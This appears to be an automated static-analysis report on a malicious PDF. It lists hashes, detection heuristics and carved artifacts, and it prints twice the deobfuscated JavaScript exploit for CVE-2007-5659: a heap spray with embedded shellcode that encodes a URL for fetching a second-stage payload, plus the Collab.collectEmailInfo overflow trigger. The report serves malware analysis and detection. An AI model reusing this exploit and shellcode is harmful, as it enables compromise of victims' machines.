Malicious PDF — malware analysis report

Static analysis result for SHA-256 615a24af31a58bb7…

MALICIOUS

PDF

2.7 KB Created: 2008-08-06 01:42:27 Authoring application: Scribus 1.3.3.12 (via Scribus PDF Library 1.3.3.12) First seen: 2026-05-04
MD5: 934bf960e3e8692ea059f49fa4eac091 SHA-1: c2e20608372d5465914dd5d835813905ba642fe9 SHA-256: 615a24af31a58bb7a2e4df68b8d3b40e54261d6fcdc8457de773835a3daeec2c
430 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF file contains obfuscated JavaScript that utilizes the `Collab.collectEmailInfo` function, known to be vulnerable to CVE-2007-5659. The script is designed to perform a heap spray and download a second-stage payload from the URL http://hotgirldream.net/content/load.php?id=961&spl=4. This indicates a dropper functionality aiming to execute further malicious code.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 9

  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (matched in decompressed stream)
  • JavaScript action low 4 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Obfuscated multi-stage PDF JavaScript heap-spray exploit critical CVE related PDF_JS_OBFUSCATED_MULTISTAGE_HEAPSPRAY
    PDF JavaScript hidden behind nested stream filters and/or a custom in-JS decoder (rolling-XOR stager) decodes to a heap-spray / ROP chain. The spray is only visible after unwinding those layers, which is why the raw heap-spray rules miss it. This is an obfuscated multi-stage Adobe Reader JavaScript exploit; the dropped Windows payload (often named Win.Trojan.Agent by signature AV) is the second stage, not the delivery mechanism.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
       var ecBcfdoM = 0x0c0c0c0c;
   var brIW1yTY = unescape("%u4343%u4343%u4343%u0FEB%u335B%u66C9%u80B9%u8001%uEF33%uE243%uEBFA%uE805%uFFEC%uFFFF%u8B7F%uDF4E%uEFEF%u64EF%uE3AF%u9F64%u42F3%u9F64%u6EE7%uEF03%uEFEB%u64EF%uB903%u6187%uE1A1%u0703%uEF11%uEFEF%uAA66%uB9EB%u7787%u6511%u07E1%uEF1F%uEFEF%uAA66%uB9E7%uCA87%u105F%u072D%uEF0D%uEFEF%uAA66%uB9E3%u0087%u0F21%u078F%uEF3B%uEFEF%uAA66%uB9FF%u2E87%u0A96%u0757%uEF29%uEFEF%uAA66%uAFFB%uD76F%u9A2C%u6615%uF7AA%uE806%uEFEE%uB1EF%u9A66%u64CB%uEBAA%uEE85%u64B6%uF7BA%u07B9%uEF64%uEFEF%u87 …
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • ClamAV: Pdf.Dropper.Agent-7265716-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Pdf.Dropper.Agent-7265716-0
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://hotgirldream.net/content/load.php?id=961&spl=4 Referenced by PDF JavaScript

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0013_001.js pdf-javascript-stream PDF /JS object 13 at offset 0x368 2675 bytes
SHA-256: 096f72450f2ebd2b65b05d1b2cfd1c4f31a9e2df901cc2c657daf36fa54006c1
Detection
ClamAV: Win.Trojan.Agent-34667
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
function Of9ofqjIRo() { 

		var DDpNVDfX = new Array(); 
		function kzV0IivL(rqYY0o0m, N1tTAUIH) { 
			while (rqYY0o0m.length*2<N1tTAUIH) { rqYY0o0m += rqYY0o0m; } 
			rqYY0o0m = rqYY0o0m.substring(0,N1tTAUIH/2); return rqYY0o0m; 
		}
		function S3GBCRNU() { 
			var ecBcfdoM = 0x0c0c0c0c; 
			var brIW1yTY = unescape("%u4343%u4343%u4343%u0FEB%u335B%u66C9%u80B9%u8001%uEF33%uE243%uEBFA%uE805%uFFEC%uFFFF%u8B7F%uDF4E%uEFEF%u64EF%uE3AF%u9F64%u42F3%u9F64%u6EE7%uEF03%uEFEB%u64EF%uB903%u6187%uE1A1%u0703%uEF11%uEFEF%uAA66%uB9EB%u7787%u6511%u07E1%uEF1F%uEFEF%uAA66%uB9E7%uCA87%u105F%u072D%uEF0D%uEFEF%uAA66%uB9E3%u0087%u0F21%u078F%uEF3B%uEFEF%uAA66%uB9FF%u2E87%u0A96%u0757%uEF29%uEFEF%uAA66%uAFFB%uD76F%u9A2C%u6615%uF7AA%uE806%uEFEE%uB1EF%u9A66%u64CB%uEBAA%uEE85%u64B6%uF7BA%u07B9%uEF64%uEFEF%u87BF%uF5D9%u9FC0%u7807%uEFEF%u66EF%uF3AA%u2A64%u2F6C%u66BF%uCFAA%u1087%uEFEF%uBFEF%uAA64%u85FB%uB6ED%uBA64%u07F7%uEF8E%uEFEF%uAAEC%u28CF%uB3EF%uC191%u288A%uEBAF%u8A97%uEFEF%u9A10%u64CF%uE3AA%uEE85%u64B6%uF7BA%uAF07%uEFEF%u85EF%uB7E8%uAAEC%uDCCB%uBC34%u10BC%uCF9A%uBCBF%uAA64%u85F3%uB6EA%uBA64%u07F7%uEFCC%uEFEF%uEF85%u9A10%u64CF%uE7AA%uED85%u64B6%uF7BA%uFF07%uEFEF%u85EF%u6410%uFFAA%uEE85%u64B6%uF7BA%uEF07%uEFEF%uAEEF%uBDB4%u0EEC%u0EEC%u0EEC%u0EEC%u036C%uB5EB%u64BC%u0D35%uBD18%u0F10%u64BA%u6403%uE792%uB264%uB9E3%u9C64%u64D3%uF19B%uEC97%uB91C%u9964%uECCF%uDC1C%uA626%u42AE%u2CEC%uDCB9%uE019%uFF51%u1DD5%uE79B%u212E%uECE2%uAF1D%u1E04%u11D4%u9AB1%uB50A%u0464%uB564%uECCB%u8932%uE364%u64A4%uF3B5%u32EC%uEB64%uEC64%uB12A%u2DB2%uEFE7%u1B07%u1011%uBA10%uA3BD%uA0A2%uEFA1%u7468%u7074%u2F3A%u682F%u746F%u6967%u6C72%u7264%u6165%u2E6D%u656E%u2F74%u6F63%u746E%u6E65%u2F74%u6F6C%u6461%u702E%u7068%u693F%u3D64%u3639%u2631%u7073%u3D6C%u0034");

			var VWAbzxUP = 0x400000; var WCoEYFdo = brIW1yTY.length * 2;
			var N1tTAUIH = VWAbzxUP - (WCoEYFdo+0x38);
			var rqYY0o0m = unescape("%u9090%u9090");
			rqYY0o0m = kzV0IivL(rqYY0o0m, N1tTAUIH);
			var jpwZA7Ef = (ecBcfdoM - 0x400000)/VWAbzxUP;
			
			for (var xEzYibKs=0;xEzYibKs<jpwZA7Ef;xEzYibKs++) { 
				DDpNVDfX[xEzYibKs] = rqYY0o0m + brIW1yTY;
			} 
		}

		function Qy9QDRgu() {
			var FPUkcU5N = app.viewerVersion.toString();
			FPUkcU5N = FPUkcU5N.replace(/\D/g,"");
			var WlHmRwck = new Array( FPUkcU5N.charAt(0), FPUkcU5N.charAt(1), FPUkcU5N.charAt(2));
			if ((WlHmRwck[0] == 8 &&
			((WlHmRwck[1] == 1 && WlHmRwck[2] < 2) || WlHmRwck[1] < 1)) || 
			(WlHmRwck[0] == 7 && WlHmRwck[1] < 1) || 
			(WlHmRwck[0] < 7)) {
				S3GBCRNU();
				var YTDNPHwC = unescape("%u0c0c%u0c0c");
				while(YTDNPHwC.length < 44952) YTDNPHwC += YTDNPHwC;
				this.collabStore = Collab.collectEmailInfo({subj: "",msg: YTDNPHwC});
			} 
		}
		Qy9QDRgu();
	}
javascript_obj0013_001_shellcode_00.bin pdf-js-shellcode pdf-js-unescape-shellcode recovered from PDF /JS object 13 at offset 0x368 466 bytes
SHA-256: 7096d82dfb4021ebf4e21aeabaeea13faf83dc74a9a7aea9a426aac80c66acbc
combined_document_js_000.js deobfuscated-js combined document JavaScript streams at offset 0xF 2693 bytes
SHA-256: de3e37fd2b72f306726b866fda47a8ffa387431309d7e3c66942aa26e90cac56
Detection
ClamAV: Win.Trojan.Agent-34667
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
this.Of9ofqjIRo()

	function Of9ofqjIRo() { 

		var DDpNVDfX = new Array(); 
		function kzV0IivL(rqYY0o0m, N1tTAUIH) { 
			while (rqYY0o0m.length*2<N1tTAUIH) { rqYY0o0m += rqYY0o0m; } 
			rqYY0o0m = rqYY0o0m.substring(0,N1tTAUIH/2); return rqYY0o0m; 
		}
		function S3GBCRNU() { 
			var ecBcfdoM = 0x0c0c0c0c; 
			var brIW1yTY = unescape("%u4343%u4343%u4343%u0FEB%u335B%u66C9%u80B9%u8001%uEF33%uE243%uEBFA%uE805%uFFEC%uFFFF%u8B7F%uDF4E%uEFEF%u64EF%uE3AF%u9F64%u42F3%u9F64%u6EE7%uEF03%uEFEB%u64EF%uB903%u6187%uE1A1%u0703%uEF11%uEFEF%uAA66%uB9EB%u7787%u6511%u07E1%uEF1F%uEFEF%uAA66%uB9E7%uCA87%u105F%u072D%uEF0D%uEFEF%uAA66%uB9E3%u0087%u0F21%u078F%uEF3B%uEFEF%uAA66%uB9FF%u2E87%u0A96%u0757%uEF29%uEFEF%uAA66%uAFFB%uD76F%u9A2C%u6615%uF7AA%uE806%uEFEE%uB1EF%u9A66%u64CB%uEBAA%uEE85%u64B6%uF7BA%u07B9%uEF64%uEFEF%u87BF%uF5D9%u9FC0%u7807%uEFEF%u66EF%uF3AA%u2A64%u2F6C%u66BF%uCFAA%u1087%uEFEF%uBFEF%uAA64%u85FB%uB6ED%uBA64%u07F7%uEF8E%uEFEF%uAAEC%u28CF%uB3EF%uC191%u288A%uEBAF%u8A97%uEFEF%u9A10%u64CF%uE3AA%uEE85%u64B6%uF7BA%uAF07%uEFEF%u85EF%uB7E8%uAAEC%uDCCB%uBC34%u10BC%uCF9A%uBCBF%uAA64%u85F3%uB6EA%uBA64%u07F7%uEFCC%uEFEF%uEF85%u9A10%u64CF%uE7AA%uED85%u64B6%uF7BA%uFF07%uEFEF%u85EF%u6410%uFFAA%uEE85%u64B6%uF7BA%uEF07%uEFEF%uAEEF%uBDB4%u0EEC%u0EEC%u0EEC%u0EEC%u036C%uB5EB%u64BC%u0D35%uBD18%u0F10%u64BA%u6403%uE792%uB264%uB9E3%u9C64%u64D3%uF19B%uEC97%uB91C%u9964%uECCF%uDC1C%uA626%u42AE%u2CEC%uDCB9%uE019%uFF51%u1DD5%uE79B%u212E%uECE2%uAF1D%u1E04%u11D4%u9AB1%uB50A%u0464%uB564%uECCB%u8932%uE364%u64A4%uF3B5%u32EC%uEB64%uEC64%uB12A%u2DB2%uEFE7%u1B07%u1011%uBA10%uA3BD%uA0A2%uEFA1%u7468%u7074%u2F3A%u682F%u746F%u6967%u6C72%u7264%u6165%u2E6D%u656E%u2F74%u6F63%u746E%u6E65%u2F74%u6F6C%u6461%u702E%u7068%u693F%u3D64%u3639%u2631%u7073%u3D6C%u0034");

			var VWAbzxUP = 0x400000; var WCoEYFdo = brIW1yTY.length * 2;
			var N1tTAUIH = VWAbzxUP - (WCoEYFdo+0x38);
			var rqYY0o0m = unescape("%u9090%u9090");
			rqYY0o0m = kzV0IivL(rqYY0o0m, N1tTAUIH);
			var jpwZA7Ef = (ecBcfdoM - 0x400000)/VWAbzxUP;
			
			for (var xEzYibKs=0;xEzYibKs<jpwZA7Ef;xEzYibKs++) { 
				DDpNVDfX[xEzYibKs] = rqYY0o0m + brIW1yTY;
			} 
		}

		function Qy9QDRgu() {
			var FPUkcU5N = app.viewerVersion.toString();
			FPUkcU5N = FPUkcU5N.replace(/\D/g,"");
			var WlHmRwck = new Array( FPUkcU5N.charAt(0), FPUkcU5N.charAt(1), FPUkcU5N.charAt(2));
			if ((WlHmRwck[0] == 8 &&
			((WlHmRwck[1] == 1 && WlHmRwck[2] < 2) || WlHmRwck[1] < 1)) || 
			(WlHmRwck[0] == 7 && WlHmRwck[1] < 1) || 
			(WlHmRwck[0] < 7)) {
				S3GBCRNU();
				var YTDNPHwC = unescape("%u0c0c%u0c0c");
				while(YTDNPHwC.length < 44952) YTDNPHwC += YTDNPHwC;
				this.collabStore = Collab.collectEmailInfo({subj: "",msg: YTDNPHwC});
			} 
		}
		Qy9QDRgu();
	}

Open this report in the interactive analyzer, or submit your own file for analysis.